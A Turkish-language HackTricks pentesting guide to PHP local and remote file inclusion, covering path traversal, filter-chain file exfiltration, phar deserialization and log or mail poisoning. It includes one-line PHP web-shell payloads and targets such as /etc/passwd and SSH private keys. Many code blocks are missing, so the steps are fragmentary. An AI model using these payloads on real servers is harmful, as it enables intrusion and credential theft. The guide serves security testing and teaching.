<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
**Uzak Dosya Dahil Etme (RFI):** Dosya uzak sunucudan yüklenir (En İyi: Kodu yazabilir ve sunucu onu yürütür). Php'de bu varsayılan olarak **devre dışı bırakılmıştır** (**allow\_url\_include**).\
**Yerel Dosya Dahil Etme (LFI):** Sunucu yerel bir dosyayı yükler.
Vulnerabilite varlığını kontrol etmek için /etc/password dosyasını bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) bulunabilir.
Vulnerabilite varlığını kontrol etmek için /boot.ini dosyasını bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir.
Tüm örnekler Yerel Dosya Dahil etme için olsa da, Uzak Dosya Dahil etme için de uygulanabilir (sayfa=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
Bir sunucunun dosya sistemi, belirli teknikleri kullanarak sadece dosyaları değil, dizinleri de keşfetmek için özyinelemeli olarak taranabilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Aşağıda bunu başarmak için detaylı bir yöntem bulunmaktadır:
1.**Dizin Derinliğini Belirleme:** Mevcut dizinin derinliğini belirlemek için `/etc/passwd` dosyasını başarılı bir şekilde alarak (sunucu Linux tabanlıysa geçerlidir) dizin derinliğinizi belirleyin. Örnek bir URL şu şekilde yapılandırılmış olabilir, üç derinlik belirten:
2.**Klasörleri Araştırma:** URL'ye şüphelenilen klasörün adını (örneğin, `private`) ekleyin, ardından `/etc/passwd` dizinine geri gidin. Ek klasör seviyesi, derinliği bir artırmayı gerektirir:
4.**Recursive Keşif:** Keşfedilen klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla incelenebilir.
Dosya sisteminde farklı konumlardaki dizinleri keşfetmek için yükü uygun şekilde ayarlayın. Örneğin, `/var/www/` dizininde `private` adlı bir dizin olup olmadığını kontrol etmek için (mevcut dizinin 3 derinliğinde olduğunu varsayarak) kullanın:
Yol kısaltma, web uygulamalarındaki dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, belirli güvenlik önlemlerini atlayarak dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlamak için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde hala istenen dosyaya işaret eden bir dosya yolunu oluşturmaktır.
Sağlanan örnekler, `/etc/passwd`'ye erişmek için yol kısaltmayı nasıl kullanacağınızı göstermektedir, bu hassas içeriğe (kullanıcı hesap bilgileri) sahip yaygın bir hedeftir:
* **Nokta Segmentleri ve Ek Karakterler Kullanarak**: Geçiş dizileri (`../`), ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, bu sayede sunucu tarafından eklenen dizeleri yoksayarak istenilen yolu (`/etc/passwd`) koruyabilirsiniz.
* **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'ye gezinmek için gereken `../` dizilerinin kesin sayısını bulabilirsiniz, böylece eklenen dizelerin (örneğin `.php`) etkisiz hale getirildiğinden emin olabilirsiniz.
* **Sahte Bir Dizinle Başlamak**: Yolun başlangıcını mevcut olmayan bir dizinle (örneğin `a/`) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığını karşılamak için kullanılır.
Yol kırpma tekniklerini kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamanız önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve genellikle en etkili yöntemi bulmak için test yapmak gereklidir.
Php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalıdır.** Çalışması için **Açık** olmalıdır ve bu durumda sunucunuzdan bir PHP dosyasını dahil edebilir ve Uzaktan Kod Çalıştırma (RCE) elde edebilirsiniz:
Eğer bir nedenden dolayı**`allow_url_include`** **Açık** ise, ancak PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu yazıya](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin base64 ile bir b64 PHP kodunu çözmek ve RCE elde etmek için data protokolünü kullanabilirsiniz:
Önceki kodda, saldırganın `.txt` ile biten bir dizeye ihtiyacı olduğu için, dize onunla biter ve b64 decode'dan sonra bu kısım sadece gereksiz veri döndürecektir ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, yürütülecektir).
Java'da bir Yol Traversal'ı olduğunda ve bir **dizin istendiğinde**, bir **dizin listesi döndürülür**. Bu diğer dillerde (bildiğim kadarıyla) gerçekleşmeyecektir.
İşte yerel dosya dahil etme (LFI) açıklıklarına karşı savunmasız olabilecek en iyi 25 parametre listesi ([bağlantıdan](https://twitter.com/trbughunters/status/1279768631845494787)):
*`convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<giriş_kod>.<çıkış_kod>`) . Desteklenen **tüm kodlamaların listesini** almak için konsolda çalıştırın: `iconv -l`
`convert.iconv.*` dönüşüm filtresini kötüye kullanarak **keyfi metinler oluşturabilirsiniz**, bu da keyfi metinler yazmak veya keyfi metin işlemleri yapmak için faydalı olabilir. Daha fazla bilgi için [**php filtreleri aracılığıyla LFI2RCE**](lfi2rce-via-php-filters.md)'ye bakın.
[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunucudan geri dönen çıktı olmadan yerel bir dosyayı okumak için bir teknik önerilmektedir. Bu teknik, **php filtrelerini oracle olarak kullanarak dosyanın (karakter karakter) keyfi bir şekilde dışa aktarılmasına dayanmaktadır**. Bu, php filtrelerinin bir metni yeterince büyük yapmak için kullanılabileceği ve php'nin bir istisna fırlatmasına neden olabileceği anlamına gelir.
* **Dechunk** filtresi, **ilk karakterin onaltılık olmadığında her şeyi kaldırır**, bu nedenle ilk karakterin onaltılık olup olmadığını bilebiliriz.
* Bu, öncekiyle birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemize izin verecektir, çünkü yeterli dönüşüm yapıldığında onun onaltılık bir karakter olmadığını görebiliriz. Çünkü eğer onaltılıksa, dechunk onu silmeyecek ve başlangıç bombası php hatasına neden olacaktır.
* **convert.iconv.UNICODE.CP930** kodlayıcısı her harfi bir sonraki harfe dönüştürür (bu nedenle bu kodlayıcıdan sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar çünkü 6 kez bu kodlayıcıyı uygularsak a->b->c->d->e->f->g harfi artık onaltılık bir karakter olmaz, bu nedenle dechunk onu silmez ve php hatası başlatılır çünkü başlangıç bombası ile çarpılır.
* Başlangıçta **rot13** gibi diğer dönüşümleri kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer kodlayıcılar diğer harfleri onaltılık aralığa taşımak için kullanılabilir).
* Başlangıç karakteri bir sayı ise, onu base64 kodlamak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
* **Daha fazla veri sızdırmak için** sorun, **başlangıç harfinden fazlasını nasıl sızdıracağımızı görmektir**. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıra belleği filtrelerini kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonunda diğer harfleri almak mümkündür.
* Ve **daha fazla veri elde etmek** için fikir, **başlangıçta 2 byte'lık gereksiz veri oluşturmak** için **convert.iconv.UTF16.UTF16** kullanmak, bunu **UCS-4LE** uygulamak ve **bir sonraki 2 byte ile dönüştürmek** ve gereksiz veriye kadar veriyi silmek (bu, başlangıç metninin ilk 2 byte'ını kaldıracaktır). İstenen biti sızdırmak için bu işlemi istenen biti sızdırana kadar tekrarlayın.
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç de sızdırıldı: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
Bu sarmalayıcı, işlemin açık olan dosya tanımlayıcılarına erişim sağlar. Açık dosyaların içeriğini sızdırmak için potansiyel olarak kullanışlı olabilir:
Ayrıca **php://stdin, php://stdout ve php://stderr** kullanarak sırasıyla **dosya tanımlayıcıları 0, 1 ve 2'ye** erişebilirsiniz (bu nasıl bir saldırıda kullanılabilir emin değilim)
data://, veri dosyalarına erişmek için kullanılan bir URI şemasıdır. Bu şema, web uygulamalarında dosya erişiminde kullanılan bir tekniktir. Veri URI'sı, web sayfalarında gömülü verileri temsil etmek için de kullanılabilir.
Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi işlevleri kullandığında PHP kodunu yürütmek için kullanılabilir. Aşağıdaki PHP kod parçacığı, bir `.phar` dosyası oluşturmayı göstermektedir:
Uygulandığında, `test.phar` adında bir dosya oluşturulur, bu da Potansiyel olarak Yerel Dosya Dahil Etme (LFI) zafiyetlerini sömürmek için kullanılabilir.
LFI'nin yalnızca `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi işlevler aracılığıyla PHP kodunu çalıştırmadan dosya okuma işlemi gerçekleştirdiği durumlarda, bir deserializasyon zafiyetinin sömürülmesi denenebilir. Bu zafiyet, dosyaların `phar` protokolü kullanılarak okunmasıyla ilişkilidir.
* [php://memory ve php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Bellekte veya geçici bir dosyada yazma (bu nasıl bir dosya dahil etme saldırısında kullanışlı olabilir emin değilim)
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Deseni eşleşen dosya yollarını bulma (Yazdırılabilir bir şey döndürmediği için burada gerçekten kullanışlı değil)
PHP'de Yerel Dosya Dahil Etme (LFI) riskleri, dizeler içinde kodu çalıştırabilen 'assert' işleviyle uğraşırken özellikle yüksektir. Bu özellikle, dizin gezintisi karakterleri içeren ".." gibi girişlerin kontrol edildiği ancak uygun şekilde temizlenmediği durumlarda sorun oluşturabilir.
Bu, traversal'ı durdurmayı amaçlasa da, yanlışlıkla kod enjeksiyonu için bir vektör oluşturur. Dosya içeriğini okumak için bunu sömürmek için bir saldırgan şunları kullanabilir:
Bu teknik, bir dosyaya erişecek bir **PHP işlevinin dosya yolunu kontrol ettiğiniz** ancak dosyanın içeriğini görmeyeceğiniz durumlarda önemlidir (örneğin basit bir **`file()`** çağrısı gibi) ancak içerik gösterilmez.
Bu [**inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) kör yol geçişinin bir PHP filtresi aracılığıyla nasıl kötüye kullanılabileceği açıklanmaktadır ve bir hata orak aracılığıyla bir dosyanın içeriğinin nasıl dışarı sızdırılabileceği anlatılmaktadır.
Özetle, teknik dosyanın içeriğini **büyük** hale getirmek için **"UCS-4LE" kodlamasının** kullanılmasıdır, böylece dosyayı açan **PHP işlevi bir hata tetikler**.
Daha sonra, ilk karakteri sızdırmak için filtre **`dechunk`** kullanılır ve son olarak **base64** veya **rot13** gibi diğer filtrelerle birlikte **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri kullanılarak **diğer karakterlerin başına yerleştirilir ve sızdırılır**.
Eğer Apache veya Nginx sunucusu **LFI'ye duyarlıysa** ve dahil etme işlevi içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`**'a erişmeye çalışabilirsiniz, **kullanıcı ajanı** içine veya bir **GET parametresi** içine **`<?php system($_GET['c']); ?>`** gibi bir php shell yerleştirin ve o dosyayı dahil edin
**Shell için basit tırnaklar** yerine **çift tırnaklar** kullanırsanız, çift tırnaklar "_**quote;**_" dizesi için değiştirilecek, **PHP burada bir hata fırlatacak** ve **başka bir şey yürütülmeyecek**.
Ayrıca, **payload'ı doğru şekilde yazdığınızdan** emin olun, aksi takdirde PHP her log dosyasını yüklemeye çalıştığında hata verecek ve ikinci bir fırsatınız olmayacak.
Bu ayrıca diğer günlük dosyalarında da yapılabilir ancak **dikkatli olun**, günlük dosyalarındaki kod URL kodlanmış olabilir ve bu Shell'i yok edebilir. **Yetkilendirme "basic"** başlığı Base64'te "kullanıcı:şifre" içerir ve günlük dosyalarında çözülür. PHPShell bu başlığın içine yerleştirilebilir.\
Fuzzing kelime listesi: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
**Bir e-posta** gönderin ve PHP yüklemenizi içeren bir içerik ekleyin, örneğin `<?php echo system($_REQUEST["cmd"]); ?>`, ve bu içeriği kullanıcı e-postasına şu şekilde dahil etmeyi deneyin: **`/var/mail/<KULLANICI ADI>`** veya **`/var/spool/mail/<KULLANICI ADI>`**
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini dahil edin, burada $PID = işlemin PID'si (kaba kuvvet saldırısı ile bulunabilir) ve $FD dosya tanımlayıcısıdır (bu da kaba kuvvet saldırısı ile bulunabilir)
Eğer ssh etkinse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\<HOME>/.ssh/id\_rsa** dosyasına erişmeyi deneyin.
FTP sunucusu vsftpd için günlükler _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) zafiyeti mevcut olduğu senaryoda ve açık bir vsftpd sunucusuna erişim mümkün olduğunda, aşağıdaki adımlar düşünülebilir:
[Şu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makalede gösterildiği gibi, PHP base64 filtresi sadece Base64 dışındakileri yok sayar. Dosya uzantısı kontrolünü atlatmak için bunu kullanabilirsiniz: Eğer base64 ile biten ".php" sağlarsanız, sadece "." işaretini yok sayacak ve base64'e "php" ekleyecektir. İşte bir örnek yük:
Bu [**makale**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d), **php filtrelerini kullanarak keyfi içerik oluşturabileceğinizi** açıklar. Bu temelde, dosyaya yazmadan **keyfi php kodu oluşturabilirsiniz**.
Bir dosya **yükleyin** ve bu dosya `/tmp` içinde **geçici olarak** saklanacak, ardından **aynı istekte,** bir **segmentasyon hatası** tetikleyin ve ardından **geçici dosya silinmeyecek** ve onu arayabilirsiniz.
Bir **Yerel Dosya Dahil Etme** bulduysanız ve **bir oturumunuz yoksa** ve `session.auto_start``Off` ise bile. **Multipart POST** verilerinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP **oturumu sizin için etkinleştirecektir**. Bu, RCE elde etmek için kötüye kullanılabilir:
Bir **Yerel Dosya Dahil Etme** bulduysanız ve geçici dosyanın yolunu **dışa aktarabilirsiniz** ancak **sunucu** dahil edilecek dosyanın **PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Yarış Koşulu** ile bu kontrolü **atlamayı** deneyebilirsiniz:
LFI'yi **geçici dosyalar yüklemek** için kötüye kullanabilir ve sunucunun PHP yürütmesini **askıya almasını** sağlayabilir, ardından saatler boyunca geçici dosyayı bulmak için **dosya adlarını kaba kuvvet uygulayabilirsiniz**:
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**